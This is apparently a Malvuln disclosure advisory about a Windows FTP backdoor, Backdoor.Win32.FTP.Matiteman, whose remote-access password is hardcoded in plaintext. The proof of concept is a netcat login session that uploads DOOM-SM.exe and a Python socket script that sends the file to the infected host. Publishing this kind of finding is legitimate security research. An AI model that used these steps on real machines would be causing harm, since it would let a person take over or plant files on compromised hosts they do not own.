Backdoor.Win32.FTP.Matiteman / Weak Hardcoded Password

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/fc8eaa2a5752b509dbd02989d8d9f2e2.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Matiteman
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 21, authentication is required
for remote user access. However, the credentials "matiteman" are weak and
hardcoded in plaintext within the executable.
Type: PE32
MD5: fc8eaa2a5752b509dbd02989d8d9f2e2
Vuln ID: MVID-2021-0425
Disclosure: 12/11/2021

Exploit/PoC:
nc64.exe 192.168.18.125 21
welcome to mtm ftp server
USER matiteman
331 Password required for matiteman.
PASS matiteman
230 User matiteman logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "c:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,37).
STOR DOOM-SM.exe
150 Opening data connection for DOOM-SM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=49701
DOOM="DOOM-SM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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